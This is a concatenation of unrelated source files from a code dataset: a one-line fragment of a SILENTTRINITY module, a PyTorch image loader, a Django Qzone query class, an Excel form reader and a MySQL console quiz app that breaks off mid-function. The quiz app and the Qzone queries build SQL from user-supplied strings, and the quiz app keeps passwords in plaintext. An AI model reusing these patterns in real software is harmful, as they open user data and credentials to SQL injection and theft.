self.options['InjectionMethod']['Value'] == 'InjectSelf':\n raise NotImplemented\n","repo_name":"byt3bl33d3r/SILENTTRINITY","sub_path":"silenttrinity/core/teamserver/modules/boo/shellcode.py","file_name":"shellcode.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","stars":2079,"dataset":"github-code","pt":"3"} +{"seq_id":"72146661202","text":"from torch.utils.data import Dataset, DataLoader\n\nimport torchvision.transforms.v2 as transforms_v2\nimport torchvision.transforms as transforms_v1\n\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport os\nimport numpy as np\n\n\ndef get_dictionary(path='/home/andrii/sup_contrast/data/welding_defects_datasets/12_classes'):\n classes = os.listdir(path)\n data_dict = {}\n clas2idx = {clas: idx for idx, clas in enumerate(classes)}\n idx2clas = {idx: clas for idx, clas in enumerate(classes)}\n for clas in classes:\n clas_path = os.path.join(path, clas)\n images = os.listdir(clas_path)\n for image in images:\n image_path = os.path.join(clas_path, image)\n data_dict[image_path] = clas2idx[clas]\n return data_dict, clas2idx, idx2clas\n\ndef split_dict(data_dict, train_ratio, test_ratio, val_ratio):\n train_dict = {}\n test_dict = {}\n val_dict = {}\n for i in set(data_dict.values()):\n r = np.where(np.array(list(data_dict.values())) == i)\n tr = round(len(r[0]) * train_ratio)\n ts = round(len(r[0]) * test_ratio)\n vs = round(len(r[0]) * val_ratio)\n for j in r[0][:tr]:\n train_dict[list(data_dict.keys())[j]] = i\n for j in r[0][tr:tr + ts]:\n test_dict[list(data_dict.keys())[j]] = i\n for j in r[0][tr + ts:]:\n val_dict[list(data_dict.keys())[j]] = i\n return train_dict, test_dict, val_dict\n\n\nclass contrastiveClassDataset(Dataset):\n def __init__(self, data_dict, transforms=None):\n self.data_dict = data_dict\n self.data_list = list(self.data_dict.items())\n self.transforms = transforms\n\n def __len__(self):\n return len(self.data_list)\n\n def __getitem__(self, idx):\n image_path, target = self.data_list[idx]\n image = Image.open(image_path)\n\n if image.size[0] == 4080:\n transposed_image = np.transpose(image, (1, 0, 2))\n image = Image.fromarray(transposed_image)\n\n if self.transforms is not None:\n image = self.transforms(image)\n\n return image, target\n\n\nclass TwoCropTransform:\n def __init__(self, transform):\n self.transform = transform\n\n def __call__(self, x):\n return [self.transform(x), self.transform(x)]\n\n\ndef get_data_loaders(train_r = 0.7, test_r = 0.2, val_r = 0.1, path = None):\n data_dict, clas2idx, idx2clas = get_dictionary(path = path )\n for path, clas in data_dict.items():\n print(f'{path} : {idx2clas[clas]}')\n train_data, test_data, val_data = split_dict(data_dict, train_r, test_r, val_r)\n train_transforms = transforms_v2.Compose(\n [\n transforms_v1.Resize((784, 784), transforms_v1.InterpolationMode.BILINEAR),\n transforms_v1.ColorJitter(contrast=0.5),\n transforms_v1.Grayscale(num_output_channels=3),\n transforms_v1.GaussianBlur(kernel_size=5),\n transforms_v1.RandomHorizontalFlip(p=0.5),\n transforms_v1.RandomVerticalFlip(p=0.5),\n transforms_v1.RandomAffine(degrees=40, shear=(0.5, 0.5)),\n transforms_v1.ToTensor()\n ]\n )\n\n test_transforms = transforms_v2.Compose(\n [\n transforms_v1.Resize((784, 784), transforms_v1.InterpolationMode.BILINEAR),\n transforms_v1.ToTensor(),\n ])\n\n train_dataset = contrastiveClassDataset(train_data, TwoCropTransform(train_transforms))\n test_dataset = contrastiveClassDataset(test_data, TwoCropTransform(test_transforms))\n val_dataset = contrastiveClassDataset(val_data, TwoCropTransform(test_transforms))\n\n train_batch_size = 3\n test_batch_size = 1\n val_batch_size = 1\n\n train_loader = DataLoader(train_dataset, train_batch_size, shuffle=True)\n test_loader = DataLoader(test_dataset, test_batch_size, shuffle=True)\n val_loader = DataLoader(val_dataset, val_batch_size, shuffle=True)\n\n return train_loader, test_loader, val_loader\n\n\n\n","repo_name":"qvuer7/contrast","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23181823387","text":"\nfrom fetchQzone.models import people,comment,feed,nick\nfrom django.db import connection\nimport types\nimport MySQLdb\nclass queryTool(object):\n \"\"\"docstring for queryTool\"\"\"\n def __init__(self): \n cursor = connection.cursor()\n sql_tmpfeed=\"create table tmp_feed select info,time,userID_id,feedID,nick from fetchQzone_feed,fetchQzone_nick limit 5;delete from tmp_feed;\"\n sql_tmpcomment=\"create table tmp_comment select parent_id,come_id,to_id,info,fetchQzone_comment.time,rootID from fetchQzone_comment limit 5;delete from tmp_comment;\"\n for x in (sql_tmpfeed,sql_tmpcomment):\n try:\n cursor.execute(x)\n except :\n pass\n def validate(self,user=\"not num\",friend=1,start=1,num=1):\n if type(user)!=types.IntType and type(user)!=types.LongType:\n return False\n if type(friend)!=types.IntType and type(friend)!=types.LongType and friend!=None :\n return False\n if type(start)!=types.IntType :\n return False\n if type(num)!=types.IntType :\n return False \n return True\n def insertToTable(self,table,rows):\n if not rows:\n return \n cursor = connection.cursor()\n def addyinhao(obj):\n \n if type(obj)==types.LongType or type(obj)==types.IntType:\n return str(obj)\n else:\n return \"\\'\"+MySQLdb.escape_string(str(obj))+\"\\'\"\n values=[]\n for x in rows:\n one=\"(\"+\",\".join(map(addyinhao,x))+\")\"\n values.append(one)\n \n sql_insert=\"insert into \"+table+\" VALUES \"+\",\".join(values)+\";\"\n cursor.execute(\"delete from \"+table)\n cursor.execute(sql_insert)\n cursor.close()\n\n def getResult(self,user,start,num,friend=None):\n Result={}\n cursor = connection.cursor()\n if friend==None:\n sql_feed=\" CREATE TEMPORARY TABLE tmp_feed select info,UNIX_TIMESTAMP(time),userID_id,feedID,(select nick from fetchQzone_nick where guest_id=userID_id limit 1) as nick from fetchQzone_feed where userID_id=%s order by time desc limit %s,%s \"%(user,start,num)\n sql_comment=\" CREATE TEMPORARY TABLE tmp_comment select parent_id,come_id,to_id,fetchQzone_comment.info,fetchQzone_comment.time,rootID from tmp_feed,fetchQzone_comment where parent_id=feedID order by IDinFeed \"\n \n sql_FeedtoRe=\"select * from tmp_feed;\"\n sql_CommenttoRe=\"select parent_id,come_id,to_id,info,UNIX_TIMESTAMP(time),rootID,(select nick from fetchQzone_nick where guest_id=come_id limit 1) as come_nick,(select nick from fetchQzone_nick where guest_id=to_id limit 1) as to_nick from tmp_comment;\"\n cursor.execute(sql_feed)\n #self.insertToTable(\"tmp_feed\",cursor.fetchall())\n cursor.execute(sql_comment)\n #self.insertToTable(\"tmp_comment\",cursor.fetchall())\n\n cursor.execute(sql_FeedtoRe)\n Result[\"feeds\"]=cursor.fetchall()\n cursor.execute(sql_CommenttoRe)\n Result[\"comments\"]=cursor.fetchall()\n else:\n sql_comment=\" CREATE TEMPORARY TABLE tmp_comment select parent_id,come_id,to_id,info,time,rootID from fetchQzone_comment where (come_id=%s and to_id=%s) OR (come_id=%s and to_id=%s ) order by parent_id,IDinFeed \"%(user,friend,friend,user)\n sql_feed=\" CREATE TEMPORARY TABLE tmp_feed SELECT fe.info,UNIX_TIMESTAMP(fe.`time`),userID_id,feedID, ni.`nick` come_nick FROM fetchQzone_feed fe JOIN tmp_comment ON parent_id=feedID JOIN fetchQzone_nick ni ON guest_id=userID_id group by feedID ORDER BY userid_id, fe.`time` DESC LIMIT %s,%s ;\"%(start,num)\n sql_CommenttoRe=\"select parent_id,come_id,to_id,tmp_comment.info,tmp_comment.time,rootID,(select nick from fetchQzone_nick where guest_id=come_id limit 1) as come_nick,(select nick from fetchQzone_nick where guest_id=to_id limit 1) as to_nick from tmp_comment,tmp_feed where parent_id=feedID order by feedID;\"\n sql_FeedtoRe=\"select * from tmp_feed\"\n\n cursor.execute(sql_comment)\n #self.insertToTable(\"tmp_comment\",cursor.fetchall()) \n cursor.execute(sql_feed)\n # self.insertToTable(\"tmp_feed\",cursor.fetchall())\n\n cursor.execute(sql_CommenttoRe)\n Result[\"comments\"]=cursor.fetchall() \n cursor.execute(sql_FeedtoRe)\n Result[\"feeds\"]=cursor.fetchall()\n sql_FriendtoRe=\"CALL getIntimacy(%s,30)\"%user\n cursor.execute(sql_FriendtoRe)\n Result[\"friend\"]=cursor.fetchall()\n # cursor.execute(\"drop table tmp_feed\")\n # cursor.execute(\"drop table tmp_comment\")\n #cursor.close()\n return Result\n def getFeedDetail(self,feedID):\n Result={}\n sql_FeedtoRe=\"select DISTINCT fetchQzone_feed.info,UNIX_TIMESTAMP(fetchQzone_feed.time),fetchQzone_feed.userID_id ,fetchQzone_feed.feedID,nick from fetchQzone_feed join fetchQzone_nick ni on ni.guest_id=userID_id where fetchQzone_feed.feedID='%s' group by guest_id \"% feedID\n # sql_comment=\"select distinct parent_id,come_id,to_id,info,fetchQzone_comment.time,rootID from fetchQzone_comment where parent_id='%s' order by IDinFeed \"% feedID\n sql_CommenttoRe=\"select parent_id,come_id,to_id,info,time,rootID,(select nick from fetchQzone_nick where guest_id=come_id limit 1) AS come_nick,(select nick from fetchQzone_nick where guest_id=to_id limit 1) AS to_nick from fetchQzone_comment where parent_id='%s' order by IDinFeed\"% feedID\n\n\n cursor = connection.cursor()\n cursor.execute(sql_CommenttoRe)\n Result[\"comments\"]=cursor.fetchall() \n cursor.execute(sql_FeedtoRe)\n Result[\"feeds\"]=cursor.fetchall()\n cursor.close()\n return Result\n def getNick(self,guest_id,host_id=0):\n try:\n ni=nick.objects.filter(guest_id=guest_id)[0].nick\n return ni\n except:\n return \" \"\n def getFeedTop(self,feedNum=5):\n sql_feedTop=\"select userID_id qq, count(1) as cnt,(select nick from fetchQzone_nick where guest_id=userID_id limit 1) AS nick from fetchQzone_feed group by userID_id order by cnt desc limit %s;\"%feedNum\n cursor = connection.cursor()\n cursor.execute(sql_feedTop)\n return cursor.fetchall()\n def getCommentTop(self,commentNum=5):\n sql_commentTop=\" select come_id qq, count(1) as cnt,(select nick from fetchQzone_nick where guest_id=come_id limit 1) AS nick from fetchQzone_comment group by come_id order by cnt desc limit %s;\"%commentNum\n cursor = connection.cursor()\n cursor.execute(sql_commentTop)\n return cursor.fetchall()\n def get_peopleTop(self,peopleNum=5):\n sql_peopleTop=\"select userID_id qq,count(1) as cnt,(select nick from fetchQzone_nick where guest_id=userID_id limit 1) AS nick from (select distinct come_id,userID_id from fetchQzone_comment JOIN fetchQzone_feed ON parent_id=feedID )iner group by userID_id order by cnt desc limit %s;\"%peopleNum\n cursor = connection.cursor()\n cursor.execute(sql_peopleTop)\n return cursor.fetchall()\n def getComfri(self,user1,user2):\n sql=\"CALL comFri(%s,%s);\"%(user1,user2);\n cursor = connection.cursor()\n cursor.execute(sql)\n return cursor.fetchall()\n def getSecrela(self,user):\n sql=\"CALL secmai(%s)\"%user\n cursor=connection.cursor()\n cursor.execute(sql)\n return cursor.fetchall()\n def getTimeAnaly(self,user):\n sql=\"call timeanaly(%s)\"%(user)\n print(sql)\n cursor=connection.cursor()\n cursor.execute(sql)\n al=cursor.fetchall()\n cursor.close()\n ret=[0]*24\n ret1=[0]*12\n for x in al:\n ret[int(x[0])]=int(x[1])\n\n return ret\n def getIntimacy(self,user,number=20):\n sql=\"CALL getIntimacy(%s,%s)\"%(user,number)\n cursor=connection.cursor()\n cursor.execute(sql)\n return cursor.fetchall()\n","repo_name":"zhangxu999/fetchQzone","sub_path":"fetchQzone/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":8056,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"3"} +{"seq_id":"37005954132","text":"from app.errors import NotVaccinatedError, NotWearingMaskError, \\\n OutdatedVaccineError\n\n\ndef go_to_cafe(friends, cafe):\n needMask = 0\n vaccineError = False\n for visitor in friends:\n try:\n cafe.visit_cafe(visitor)\n except Exception as a:\n classExcept = (a.__class__)\n if classExcept == NotWearingMaskError:\n needMask += 1\n elif classExcept == NotVaccinatedError or \\\n classExcept == OutdatedVaccineError:\n vaccineError = True\n break\n if vaccineError is True:\n return 'All friends should be vaccinated'\n elif needMask > 0:\n return f'Friends should buy {needMask} masks'\n else:\n return 'Friends can go to KFC'\n","repo_name":"Kindiy31/cafePython","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14249898967","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom typing import List, Tuple, Union\nfrom .excel import rows_items, num_to_column, column_to_num, column_items\nfrom .formatter_and_parser import is_none_or_empty, string_of\nfrom .error import Error\nimport xlwings as xw\nfrom .form import Form\n\n\ndef remove_unfilled_rows(err: Error, form: Form, must_not_empty_fields: List[str]):\n if err.has_error():\n return\n\n field_indexes: List[int] = list(map(lambda x: form.column_index_with_title(x), must_not_empty_fields))\n if err.has_error():\n return\n\n unfilled_row_indexes: List[int] = []\n for row_index in range(len(form.data_rows)):\n row = form.data_rows[row_index]\n for field_index in field_indexes:\n cell_val = row.cell(field_index, err)\n if is_none_or_empty(cell_val):\n unfilled_row_indexes.insert(0, row_index)\n break\n\n for row_index in unfilled_row_indexes:\n form.data_rows.pop(row_index)\n\n\ndef read_sht_headers(err: Error, sht: xw.Sheet, header_start_row=1, header_end_row=1,\n start_col: str = 'A',\n fill_merged_cells_at_right: bool = True,\n fill_merged_cells_at_bottom: bool = False,\n header_joiner: str = \"\", end_col='IV'):\n if err.has_error():\n return\n\n # get title rows\n rows = rows_items(err, sht, header_start_row, header_end_row, start_col,\n last_column=end_col,\n fill_merged_cells_at_right=fill_merged_cells_at_right,\n fill_merged_cells_at_bottom=fill_merged_cells_at_bottom)\n if err.has_error():\n return\n\n # join multi row cells as title in each column\n row_count = len(rows)\n column_count = len(rows[0]) if row_count > 0 else 0\n if column_count == 0:\n return\n headers: List[str] = []\n for column_index in range(column_count):\n columns = list(map(lambda row: row[column_index], rows))\n columns = list(filter(lambda column: not is_none_or_empty(column), columns))\n columns = list(map(lambda column: string_of(column), columns))\n\n header = header_joiner.join(columns)\n headers.append(header)\n return headers\n\n\ndef read_sht(err: Error, sht: xw.Sheet, ref_col: str = 'A', header_row: Union[int, Tuple[int, int]] = 1,\n start_col: str = 'A',\n fill_merged_cells_at_right: bool = True,\n fill_merged_cells_at_bottom: bool = False,\n header_joiner: str = \"\",\n steps=100,\n do_smart_repair_title=True, end_col='IV'):\n if err.has_error():\n return\n\n # get headers\n _header_row: Tuple[int, int] = (header_row, header_row) if type(header_row) == int else header_row\n header_start_row, header_end_row = _header_row\n\n headers = read_sht_headers(err, sht, header_start_row, header_end_row,\n start_col,\n fill_merged_cells_at_right,\n fill_merged_cells_at_bottom,\n header_joiner, end_col=end_col)\n\n if err.has_error():\n return\n\n # add titles to form\n end_col = num_to_column(column_to_num(start_col) + len(headers) - 1)\n form = Form(err)\n form.set_title_row(header_start_row, headers,\n do_smart_repair_title=do_smart_repair_title)\n\n # add data rows to form\n cells_col = column_items(err, sht, ref_col, header_end_row + 1, steps=steps)\n for i in range(len(cells_col)):\n row_num = header_end_row + 1 + i\n cells = sht.range(\"{}{}:{}{}\".format(start_col, row_num, end_col, row_num)).value\n form.append_data_row(row_num, cells)\n\n return form\n","repo_name":"lldld/gr.py3.utils","sub_path":"grutils/form_utils.py","file_name":"form_utils.py","file_ext":"py","file_size_in_byte":3748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27749596719","text":"import random \r\nimport sys \r\nimport mysql.connector \r\nimport ctypes \r\nfrom datetime import datetime \r\n \r\nsubject_options=[] \r\n \r\n \r\n#function to perform registration of new user \r\ndef register(): \r\n print() \r\n uname=str(input(\"Please enter username:\")).strip().lower() \r\n \r\n acursor.execute(\"select username from users\") \r\n \r\n ucode=acursor.rowcount+1 \r\n \r\n usernames=[item[0] for item in acursor.fetchall()] \r\n \r\n if uname in usernames: \r\n print(\"Username already taken\") \r\n register() \r\n \r\n else: \r\n name=str(input(\"Please enter your name:\")).strip() \r\n upwd=str(input(\"Please enter password:\")).strip() \r\n #check password \r\n \r\n acursor.execute(\"select ucode from users\") \r\n \r\n acursor.fetchall() \r\n admin='0' \r\n if ucode==1: \r\n admin='1' \r\n \r\n acursor.execute(\"insert into users values (\"+str(ucode)+\",'\"+name+\"','\"+uname+\"','\"+upwd+\"',\"+admin+\")\") \r\n adb.commit() \r\n print(\"Welcome\",name,\". You are now registered.\") \r\n \r\n \r\n#main menu to select login or registration \r\ndef loginmenu(): \r\n while True: \r\n print() \r\n print(75*\"-\") \r\n print(\"Choose your option\") \r\n print(\"1: Login\") \r\n print(\"2: Register\") \r\n print(\"0: Exit\") \r\n user=str(input(\"Enter your choice: \")).strip() \r\n \r\n if user==\"1\": \r\n print() \r\n uname=str(input(\"Please enter username:\")).strip().lower() \r\n upwd=str(input(\"Please enter password:\")).strip() \r\n \r\n acursor.execute(\"select * from users\") \r\n use1=acursor.fetchall() \r\n \r\n use_rec1={} \r\n for r in use1: \r\n use_rec1[r[2]]=r[3] \r\n \r\n if uname in use_rec1: \r\n if use_rec1[uname]==upwd: \r\n use_rec2={} \r\n for r in use1: \r\n use_rec2[r[2]]=r[1] \r\n User_name=use_rec2[uname] \r\n \r\n use_rec3={} \r\n for r in use1: \r\n use_rec3[r[2]]=r[0] \r\n User_code=use_rec3[uname] \r\n \r\n use_rec4={} \r\n for r in use1: \r\n use_rec4[r[2]]=r[4] \r\n User_admin=use_rec4[uname] \r\n print() \r\n print(\"Welcome \"+User_name) \r\n while mainmenu(User_code,User_name,User_admin): \r\n print() \r\n else: \r\n print(\"Invalid credentials entered\") \r\n loginmenu() \r\n else: \r\n print(\"Invalid credentials entered\") \r\n loginmenu() \r\n \r\n elif user==\"2\": \r\n register() \r\n elif user==\"0\": \r\n print(\"Goodbye.\") \r\n sys.exit() \r\n else: \r\n print() \r\n print(\"Invalid Option Entered\") \r\n \r\n \r\n#function for changing password of the current user \r\ndef password(User_code): \r\n while True: \r\n print() \r\n acursor.execute(\"select password from users where ucode=\"+str(User_code)) \r\n a=acursor.fetchall() \r\n currentpass=a[0][0] \r\n current=str(input(\"Please enter your current password:\")).strip() \r\n print() \r\n if current==currentpass: \r\n new=str(input(\"Please enter new password:\")) \r\n while True: \r\n print(\"Are you sure, you want to change your password?\") \r\n print(\"Y: Yes\") \r\n print(\"N: No\") \r\n sure=str(input(\"Enter your choice: \")).strip().lower() \r\n print() \r\n if sure=='y': \r\n while True: \r\n print() \r\n renew=str(input(\"Please re-enter new password:\")) \r\n if new==renew: \r\n acursor.execute(\"update users set password='\"+new+\"' where ucode=\"+str(User_code)) \r\n adb.commit() \r\n print() \r\n print(\"Password successfully changed.\") \r\n input(\"Press enter to continue...\") \r\n return \r\n else: \r\n print() \r\n print(\"Entered passwords don't match\") \r\n elif sure=='n': \r\n print(\"Ignoring the password change request\") \r\n input(\"Press enter to continue...\") \r\n return \r\n else: \r\n print(\"Invalid option entered\") \r\n else: \r\n print(\"Incorrect password entered\") \r\n while True: \r\n print(\"Do you really want to change your password?\") \r\n print(\"Y: Yes\") \r\n print(\"N: No\") \r\n really=str(input(\"Enter your choice: \")).strip().lower() \r\n if really==\"y\": \r\n break \r\n elif really==\"n\": \r\n return \r\n else: \r\n print(\"Invalid option entered\") \r\n \r\n \r\n \r\n#main menu for logged in user \r\ndef mainmenu(User_code,User_name,User_admin): \r\n print() \r\n print(75*\"-\") \r\n print(\"MAIN MENU\") \r\n print() \r\n print(\"1: Take quiz\") \r\n print(\"2: View past result\") \r\n print(\"3: Change password\") \r\n print(\"4: Back to main menu\") \r\n if User_admin==1: \r\n print(\"5: Go to Admin menu\") \r\n print(\"0: Exit program\") \r\n menuopt=str(input(\"Enter your choice:\")).strip() \r\n \r\n if menuopt==\"1\": \r\n print() \r\n menu1(User_code,User_name) \r\n elif menuopt==\"2\": \r\n print() \r\n result(User_code,User_name) \r\n \r\n elif menuopt==\"3\": \r\n print() \r\n password(User_code) \r\n \r\n elif menuopt==\"4\": \r\n print() \r\n print(\"Thank you for playing\") \r\n loginmenu() \r\n elif User_admin==1 and menuopt==\"5\": \r\n adminmenu(User_code) \r\n elif menuopt==\"0\": \r\n print() \r\n print(\"Thank you for playing\") \r\n sys.exit() \r\n else: \r\n print(\"Invalid Option Entered\") \r\n return True \r\n \r\n \r\n \r\n#function to add new question in db \r\ndef addsub(): \r\n print() \r\n print(\"The following Subjects exist in the DB:\") \r\n for x in subject_records: \r\n print(x,\": \",subject_records[x]) \r\n scode=len(subject_records)+1 \r\n print() \r\n newsub=str(input(\"Enter new subject name:\")).strip() \r\n new_dict = dict((k, v.lower()) for k, v in subject_records.items()) \r\n present=newsub.lower() in new_dict.values() \r\n if present==True: \r\n print(\"Subject already exists.\") \r\n elif present==False: \r\n while True: \r\n print() \r\n print(\"Are you sure, you want to add \"+newsub+\" to the database?\") \r\n print(\"Y: Yes\") \r\n print(\"N: No\") \r\n print() \r\n sure=str(input(\"Enter your choice: \")).strip().lower() \r\n if sure=='y': \r\n acursor.execute(\"insert into subjects values (\"+str(scode)+\",'\"+newsub+\"')\") \r\n adb.commit() \r\n subject_records[scode]=newsub \r\n subject_options.append(str(len(subject_records))) \r\n print(newsub,\"successfully added to the database\") \r\n input(\"Press enter to continue...\") \r\n return \r\n elif sure=='n': \r\n print() \r\n print(\"Ignoring the subject addition\") \r\n input(\"Press enter to continue...\") \r\n return \r\n else: \r\n print(\"Invalid option entered\") \r\n \r\n \r\n \r\n#function to add new question in db \r\ndef addq(): \r\n while True: \r\n for x in subject_records: \r\n print(x,\": \",subject_records[x]) \r\n print() \r\n scode=str(input(\"Enter your choice of Subject:\")).strip() \r\n print() \r\n newq=str(input(\"Enter new question:\")) \r\n opt1=str(input(\"Enter option 1:\")) \r\n opt2=str(input(\"Enter option 2:\")) \r\n opt3=str(input(\"Enter option 3:\")) \r\n opt4=str(input(\"Enter option 4:\")) \r\n ans=str(input(\"Enter option for answer(1/2/3/4):\")) \r\n acursor.execute(\"select qcode from quiz_bank\") \r\n rows=acursor.rowcount \r\n qcode=rows+1 \r\n while True: \r\n print() \r\n print(\"Are you sure, you want to add this question to the database?\") \r\n print(\"Y: Yes\") \r\n print(\"N: No\") \r\n print() \r\n sure=str(input(\"Enter your choice: \")).strip().lower() \r\n if sure=='y': \r\n acursor.execute(\"insert into quiz_bank values (\"+str(qcode)+\",'\"+scode+\"','\"+newq+\"','\"+opt1+\"','\"+opt2+\"','\"+opt3+\"','\"+opt4+\"','\"+ans+\"')\") \r\n adb.commit() \r\n print(\"New question successfully added to the database.\") \r\n input(\"Press enter to continue...\") \r\n break \r\n elif sure=='n': \r\n print(\"Ignoring the question addition\") \r\n input(\"Press enter to continue...\") \r\n return \r\n else: \r\n print(\"Invalid option entered\") \r\n print(\"Add more?\") \r\n print(\"1: Yes\") \r\n print(\"2: No\") \r\n print() \r\n addmore=str(input(\"Enter your choice:\")).strip() \r\n if addmore==\"1\": \r\n print() \r\n elif addmore==\"2\": \r\n return \r\n else: \r\n print() \r\n print(\"Invalid option entered\") \r\n \r\n#function to make normal user admin \r\ndef makead(User_code): \r\n acursor.execute(\"select ucode, username, name from users where admin=0 and ucode<>\"+str(User_code)) \r\n people=acursor.fetchall() \r\n options=[] \r\n x=1 \r\n print(\"Current non-admin users are:-\") \r\n for r in people: \r\n print(x,\":\",\"username:\",r[1],\"-->\",r[2]) \r\n options.append(str(x)) \r\n x+=1 \r\n print() \r\n print(\"0 : Back to admin menu\") \r\n options.append(str(0)) \r\n while True: \r\n print() \r\n ad=str(input(\"Enter option to make admin or 0 to exit: \")).strip() \r\n if ad in options: \r\n if ad==\"0\": \r\n return \r\n ch=int(ad) \r\n while True: \r\n print() \r\n print(\"Please confirm if you want to make \"+people[ch-1][2]+\" an admin?\") \r\n print(\"Y: Yes\") \r\n print(\"N: No\") \r\n print() \r\n sure=str(input(\"Enter your choice: \")).strip().lower() \r\n print() \r\n if sure=='y': \r\n acursor.execute(\"update users set admin=1 where ucode=\"+str(people[ch-1][0])) \r\n adb.commit() \r\n print(str(people[ch-1][2]),\"is now an admin\") \r\n input(\"Press enter to continue...\") \r\n return \r\n elif sure=='n': \r\n print() \r\n print(\"Ignoring the admin change\") \r\n input(\"Press enter to continue...\") \r\n return \r\n else: \r\n print() \r\n print(\"Invalid option entered\") \r\n print() \r\n \r\n else: \r\n print(\"Invalid Input\") \r\n print() \r\n \r\n \r\n#function to remove admin credentials of admin user \r\ndef removead(User_code): \r\n acursor.execute(\"select ucode, username, name from users where admin=1 and ucode<>\"+str(User_code)) \r\n people=acursor.fetchall() \r\n options=[] \r\n x=1 \r\n print(\"Current admins are:-\") \r\n for r in people: \r\n print(x,\":\",\"username:\",r[1],\"-->\",r[2]) \r\n options.append(str(x)) \r\n x+=1 \r\n print() \r\n print(\"0 : Back to admin menu\") \r\n options.append(str(0)) \r\n while True: \r\n print() \r\n ad=str(input(\"Enter option to remove admin or 0 to exit: \")).strip() \r\n if ad in options: \r\n if ad==\"0\": \r\n return \r\n ch=int(ad) \r\n while True: \r\n print() \r\n print(\"Please confirm if you want to remove \"+people[ch-1][2]+\" as an admin?\") \r\n print(\"Y: Yes\") \r\n print(\"N: No\") \r\n print() \r\n sure=str(input(\"Enter your choice: \")).strip().lower() \r\n print() \r\n if sure=='y': \r\n acursor.execute(\"update users set admin=0 where ucode=\"+str(people[ch-1][0])) \r\n adb.commit() \r\n print(str(people[ch-1][2]),\"is now no longer an admin\") \r\n input(\"Press enter to continue...\") \r\n return \r\n elif sure=='n': \r\n print() \r\n print(\"Ignoring the admin change\") \r\n input(\"Press enter to continue...\") \r\n return \r\n else: \r\n print() \r\n print(\"Invalid option entered\") \r\n print() \r\n \r\n else: \r\n print(\"Invalid Input\") \r\n print() \r\n \r\n#admin menu option to check result of any user \r\ndef checkuserresult(User_code): \r\n acursor.execute(\"select ucode, username, name from users\") \r\n people=acursor.fetchall() \r\n options=[] \r\n x=1 \r\n print(\"List of users:\") \r\n for r in people: \r\n print(x,\":\",\"username:\",r[1],\"-->\",r[2]) \r\n options.append(str(x)) \r\n x+=1 \r\n print() \r\n print(\"0 : Back to admin menu\") \r\n options.append(str(0)) \r\n while True: \r\n print() \r\n ad=str(input(\"Select user to view result: \")).strip() \r\n if ad in options: \r\n if ad==\"0\": \r\n return \r\n ch=int(ad) \r\n result(people[ch-1][0],people[ch-1][2]) \r\n x=1 \r\n print() \r\n print(\"List of users:\") \r\n for r in people: \r\n print(x,\":\",\"username:\",r[1],\"-->\",r[2]) \r\n x+=1 \r\n print() \r\n print(\"0 : Back to admin menu\") \r\n \r\n else: \r\n print(\"Invalid Input\") \r\n print() \r\n \r\n#admin menu option to check result of any subject \r\ndef checksubjectresult(): \r\n while True: \r\n print() \r\n print(75*\"-\") \r\n for x in subject_records: \r\n print(x,\": \",subject_records[x]) \r\n \r\n print(\"0 : Exit\") \r\n print() \r\n \r\n scode=str(input(\"Select a Subject to view Result Summary:\")).strip() \r\n \r\n if scode==\"0\": \r\n print() \r\n return \r\n elif scode in subject_options: \r\n acursor.execute(\"select name, sum(score), sum(max), count(date) from users, results where scode=\"+scode+\" and users.ucode=results.ucode group by name order by name\") \r\n if acursor.rowcount==0: \r\n print(\"No one has attempted any quiz in this subject\") \r\n else: \r\n people=acursor.fetchall() \r\n \r\n print(75*\"-\") \r\n print(\"Result Summary for: \",subject_records[int(scode)]) \r\n print(75*\"-\") \r\n print(\"Name\".ljust(53)[:53],\"No. of Quiz Score\") \r\n print(75*\"-\") \r\n sumscore=0 \r\n summax=0 \r\n squiz=0 \r\n for r in people: \r\n print(r[0].ljust(59)[:59],str(r[3]).ljust(6)[:6],str(round(r[1]/r[2]*100,2)).rjust(6),\"%\") \r\n sumscore+=r[1] \r\n summax+=r[2] \r\n squiz+=r[3] \r\n \r\n print(75*\"-\") \r\n print(\"Overall Summary\".ljust(59)[:59],str(squiz).ljust(6)[:6],str(round(sumscore/summax*100,2)).rjust(6),\"%\") \r\n print(75*\"-\") \r\n print() \r\n input(\"Press enter to continue...\") \r\n \r\n else: \r\n print(\"Invalid Option Entered\") \r\n \r\ndef split(word): \r\n return [char for char in word] \r\n \r\n#admin menu option to check graph of subject \r\ndef checksubjectgraph(): \r\n while True: \r\n print() \r\n print(75*\"-\") \r\n for x in subject_records: \r\n print(x,\": \",subject_records[x]) \r\n \r\n print(\"0 : Exit\") \r\n print() \r\n \r\n scode=str(input(\"Select a Subject to view Results Graph:\")).strip() \r\n \r\n if scode==\"0\": \r\n print() \r\n return \r\n elif scode in subject_options: \r\n acursor.execute(\"select name, sum(score), sum(max), count(date) from users, results where scode=\"+scode+\" and users.ucode=results.ucode group by name order by name\") \r\n if acursor.rowcount==0: \r\n print(\"No one has attempted any quiz in this subject\") \r\n else: \r\n people=acursor.fetchall() \r\n \r\n glen=len(people)*3+3 \r\n ustr=\"\" \r\n for r in range(len(people)): \r\n ustr=ustr+str(r+1).rjust(3)[:3] \r\n \r\n gstr=[] \r\n gstr.append(split(\" | \"+glen*\" \")) \r\n gstr.append(split(\"100% | \"+glen*\" \")) \r\n gstr.append(split(\" | \"+glen*\" \")) \r\n gstr.append(split(\" 80% | \"+glen*\" \")) \r\n gstr.append(split(\" | \"+glen*\" \")) \r\n gstr.append(split(\" 60% | \"+glen*\" \")) \r\n gstr.append(split(\" | \"+glen*\" \")) \r\n gstr.append(split(\" 40% | \"+glen*\" \")) \r\n gstr.append(split(\" | \"+glen*\" \")) \r\n gstr.append(split(\" 20% | \"+glen*\" \")) \r\n gstr.append(split(\" |\"+glen*\"_\")) \r\n gstr.append(split(\" 0% \"+ustr)) \r\n \r\n i=1 \r\n for r in people: \r\n s=int(round(r[1]/r[2]*100,-1)) \r\n x=10 \r\n j=10 \r\n 